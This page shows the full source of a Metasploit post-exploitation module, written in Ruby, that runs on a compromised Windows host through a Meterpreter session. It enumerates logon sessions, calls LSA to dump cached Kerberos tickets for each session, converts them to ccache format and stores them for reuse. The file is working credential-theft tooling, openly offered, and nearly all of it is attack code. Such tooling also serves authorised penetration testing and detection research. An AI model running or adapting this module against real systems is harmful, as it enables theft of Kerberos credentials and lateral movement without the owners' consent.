Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/kerberos_tickets.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/proto/kerberos/model/kerberos_flags'6require 'rex/proto/kerberos/model/ticket_flags'7require 'rex/proto/ms_dtyp'89class MetasploitModule < Msf::Post10include Msf::Post::Process11include Msf::Post::Windows::Lsa12include Msf::Exploit::Remote::Kerberos::Ticket1314CURRENT_PROCESS = -115CURRENT_THREAD = -21617# https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-security_logon_type18SECURITY_LOGON_TYPE = {190 => 'UndefinedLogonType',202 => 'Interactive',213 => 'Network',224 => 'Batch',235 => 'Service',246 => 'Proxy',257 => 'Unlock',268 => 'NetworkCleartext',279 => 'NewCredentials',2810 => 'RemoteInteractive',2911 => 'CachedInteractive',3012 => 'CachedRemoteInteractive',3113 => 'CachedUnlock'32}.freeze33# https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-kerb_protocol_message_type34KERB_RETRIEVE_ENCODED_TICKET_MESSAGE = 835KERB_QUERY_TICKET_CACHE_EX_MESSAGE = 143637def initialize(info = {})38super(39update_info(40info,41'Name' => 'Kerberos Ticket Management',42'Description' => %q{43Manage kerberos tickets on a compromised host.44},45'License' => MSF_LICENSE,46'Author' => [47'Will Schroeder', # original idea/research48'Spencer McIntyre'49],50'References' => [51[ 'URL', 'https://github.com/GhostPack/Rubeus' ],52[ 'URL', 'https://github.com/wavvs/nanorobeus' ]53],54'Platform' => ['win'],55'SessionTypes' => %w[meterpreter],56'Actions' => [57['DUMP_TICKETS', { 'Description' => 'Dump the Kerberos tickets' }],58['ENUM_LUIDS', { 'Description' => 'Enumerate session logon LUIDs' }],59['SHOW_LUID', { 'Description' => 'Show the current LUID' }],60],61'DefaultAction' => 'DUMP_TICKETS',62'Notes' => {63'Stability' => [],64'Reliability' => [],65'SideEffects' => []66},67'Compat' => {68'Meterpreter' => {69'Commands' => %w[70stdapi_net_resolve_host71stdapi_railgun_api72stdapi_railgun_memread73stdapi_railgun_memwrite74]75}76}77)78)7980register_options([81OptString.new(82'LUID',83[false, 'An optional logon session LUID to target'],84conditions: [ 'ACTION', 'in', %w[SHOW_LUID DUMP_TICKETS]],85regex: /^(0x[a-fA-F0-9]{1,16})?$/86),87OptString.new(88'SERVICE',89[false, 'An optional service name wildcard to target (e.g. krbtgt/*)'],90conditions: %w[ACTION == DUMP_TICKETS]91)92])93end9495def run96case session.native_arch97when ARCH_X6498@ptr_size = 899when ARCH_X86100@ptr_size = 4101else102fail_with(Failure::NoTarget, "This module does not support #{session.native_arch} sessions.")103end104@hostname_cache = {}105@indent_level = 0106107send("action_#{action.name.downcase}")108end109110def action_dump_tickets111handle = lsa_register_logon_process112luids = nil113if handle114if target_luid115luids = [ target_luid ]116else117luids = lsa_enumerate_logon_sessions118print_error('Failed to enumerate logon sessions.') if luids.nil?119end120trusted = true121else122handle = lsa_connect_untrusted123# if we can't register a logon process then we can only act on the current LUID so skip enumeration124fail_with(Failure::Unknown, 'Failed to obtain a handle to LSA.') if handle.nil?125trusted = false126end127luids ||= [ get_current_luid ]128129print_status("LSA Handle: 0x#{handle.to_s(16).rjust(@ptr_size * 2, '0')}")130auth_package = lsa_lookup_authentication_package(handle, 'kerberos')131if auth_package.nil?132lsa_deregister_logon_process(handle)133fail_with(Failure::Unknown, 'Failed to lookup the Kerberos authentication package.')134end135136luids.each do |luid|137dump_for_luid(handle, auth_package, luid, null_luid: !trusted)138end139lsa_deregister_logon_process(handle)140end141142def action_enum_luids143current_luid = get_current_luid144luids = lsa_enumerate_logon_sessions145fail_with(Failure::Unknown, 'Failed to enumerate logon sessions.') if luids.nil?146147luids.each do |luid|148logon_session_data_ptr = lsa_get_logon_session_data(luid)149unless logon_session_data_ptr150print_status("LogonSession LUID: #{luid}")151next152end153154print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')155session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)156end157end158159def action_show_luid160current_luid = get_current_luid161luid = target_luid || current_luid162logon_session_data_ptr = lsa_get_logon_session_data(luid)163return unless logon_session_data_ptr164165print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')166session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)167end168169def dump_for_luid(handle, auth_package, luid, null_luid: false)170logon_session_data_ptr = lsa_get_logon_session_data(luid)171return unless logon_session_data_ptr172173print_logon_session_summary(logon_session_data_ptr)174session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)175176logon_session_data_ptr.contents.logon_id.clear if null_luid177query_tkt_cache_req = KERB_QUERY_TKT_CACHE_REQUEST.new(178message_type: KERB_QUERY_TICKET_CACHE_EX_MESSAGE,179logon_id: logon_session_data_ptr.contents.logon_id180)181query_tkt_cache_res_ptr = lsa_call_authentication_package(handle, auth_package, query_tkt_cache_req)182if query_tkt_cache_res_ptr183indented_print do184dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)185end186session.railgun.secur32.LsaFreeReturnBuffer(query_tkt_cache_res_ptr.value)187end188end189190def dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)191case session.native_arch192when ARCH_X64193query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x64194retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x64195retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x64196when ARCH_X86197query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x86198retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x86199retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x86200end201202tkt_cache = query_tkt_cache_response_klass.read(query_tkt_cache_res_ptr.contents)203tkt_cache.tickets.each_with_index do |ticket, index|204server_name = read_lsa_unicode_string(ticket.server_name)205if datastore['SERVICE'].present? && !File.fnmatch?(datastore['SERVICE'], server_name.split('@').first, File::FNM_CASEFOLD | File::FNM_DOTMATCH)206next207end208209server_name_wz = session.railgun.util.str_to_uni_z(server_name)210print_status("Ticket[#{index}]")211indented_print do212retrieve_tkt_req = retrieve_tkt_request_klass.new(213message_type: KERB_RETRIEVE_ENCODED_TICKET_MESSAGE,214logon_id: logon_session_data_ptr.contents.logon_id, cache_options: 8215)216ptr = session.railgun.util.alloc_and_write_data(retrieve_tkt_req.to_binary_s + server_name_wz)217next if ptr.nil?218219retrieve_tkt_req.target_name.len = server_name_wz.length - 2220retrieve_tkt_req.target_name.maximum_len = server_name_wz.length221retrieve_tkt_req.target_name.buffer = ptr + retrieve_tkt_req.num_bytes222session.railgun.memwrite(ptr, retrieve_tkt_req)223retrieve_tkt_res_ptr = lsa_call_authentication_package(handle, auth_package, ptr, submit_buffer_length: retrieve_tkt_req.num_bytes + server_name_wz.length)224session.railgun.util.free_data(ptr)225next if retrieve_tkt_res_ptr.nil?226227retrieve_tkt_res = retrieve_tkt_response_klass.read(retrieve_tkt_res_ptr.contents)228if retrieve_tkt_res.ticket.encoded_ticket != 0229ticket = kirbi_to_ccache(session.railgun.memread(retrieve_tkt_res.ticket.encoded_ticket, retrieve_tkt_res.ticket.encoded_ticket_size))230ticket_host = ticket.credentials.first.server.components.last.snapshot231ticket_host = resolve_host(ticket_host) if ticket_host232233Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(ticket.encode)234Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: ticket_host)235presenter = Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(ticket)236print_line(presenter.present.split("\n").map { |line| " #{print_prefix}#{line}" }.join("\n"))237end238session.railgun.secur32.LsaFreeReturnBuffer(retrieve_tkt_res_ptr.value)239end240end241end242243def target_luid244return nil if datastore['LUID'].blank?245246val = datastore['LUID'].to_i(16)247Rex::Proto::MsDtyp::MsDtypLuid.new(248high_part: (val & 0xffffffff) >> 32,249low_part: (val & 0xffffffff)250)251end252253def kirbi_to_ccache(input)254krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(input)255Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)256end257258def get_current_luid259luid = get_token_statistics&.authentication_id260fail_with(Failure::Unknown, 'Failed to obtain the current LUID.') unless luid261luid262end263264def get_token_statistics(token: nil)265if token.nil?266result = session.railgun.advapi32.OpenThreadToken(CURRENT_THREAD, session.railgun.const('TOKEN_QUERY'), false, @ptr_size)267unless result['return']268error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first269unless error == ::WindowsError::Win32::ERROR_NO_TOKEN270print_error("Failed to open the current thread token. OpenThreadToken failed with: #{error}")271return nil272end273274result = session.railgun.advapi32.OpenProcessToken(CURRENT_PROCESS, session.railgun.const('TOKEN_QUERY'), @ptr_size)275unless result['return']276error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first277print_error("Failed to open the current process token. OpenProcessToken failed with: #{error}")278return nil279end280end281token = result['TokenHandle']282end283284result = session.railgun.advapi32.GetTokenInformation(token, 10, TOKEN_STATISTICS.new.num_bytes, TOKEN_STATISTICS.new.num_bytes, @ptr_size)285unless result['return']286error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first287print_error("Failed to obtain the token information. GetTokenInformation failed with: #{error}")288return nil289end290TOKEN_STATISTICS.read(result['TokenInformation'])291end292293def resolve_host(name)294name = name.dup.downcase # normalize the case since DNS is case insensitive295return @hostname_cache[name] if @hostname_cache.key?(name)296297vprint_status("Resolving hostname: #{name}")298begin299address = session.net.resolve.resolve_host(name)[:ip]300rescue Rex::Post::Meterpreter::RequestError => e301elog("Unable to resolve #{name.inspect}", error: e)302end303@hostname_cache[name] = address304end305306def print_logon_session_summary(logon_session_data_ptr, annotation: nil)307sid = '???'308if datastore['VERBOSE'] && logon_session_data_ptr.contents.psid != 0309# reading the SID requires 3 railgun calls so only do it in verbose mode to speed things up310# reading the data directly wouldn't be much faster because SIDs are of a variable length311result = session.railgun.advapi32.ConvertSidToStringSidA(logon_session_data_ptr.contents.psid.to_i, @ptr_size)312if result313sid = session.railgun.util.read_string(result['StringSid'])314session.railgun.kernel32.LocalFree(result['StringSid'])315end316end317318print_status("LogonSession LUID: #{logon_session_data_ptr.contents.logon_id} #{annotation}")319indented_print do320print_status("User: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_domain)}\\#{read_lsa_unicode_string(logon_session_data_ptr.contents.user_name)}")321print_status("UserSID: #{sid}") if datastore['VERBOSE']322print_status("Session: #{logon_session_data_ptr.contents.session}")323print_status("AuthenticationPackage: #{read_lsa_unicode_string(logon_session_data_ptr.contents.authentication_package)}")324print_status("LogonType: #{SECURITY_LOGON_TYPE.fetch(logon_session_data_ptr.contents.logon_type.to_i, '???')} (#{logon_session_data_ptr.contents.logon_type.to_i})")325print_status("LogonTime: #{logon_session_data_ptr.contents.logon_time.to_datetime.localtime}")326print_status("LogonServer: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_server)}") if datastore['VERBOSE']327print_status("LogonServerDNSDomain: #{read_lsa_unicode_string(logon_session_data_ptr.contents.dns_domain_name)}") if datastore['VERBOSE']328print_status("UserPrincipalName: #{read_lsa_unicode_string(logon_session_data_ptr.contents.upn)}") if datastore['VERBOSE']329end330end331332def peer333nil # drop the peer prefix from messages334end335336def indented_print(&block)337@indent_level += 1338block.call339ensure340@indent_level -= 1341end342343def print_prefix344super + (' ' * @indent_level.to_i * 2)345end346end347348349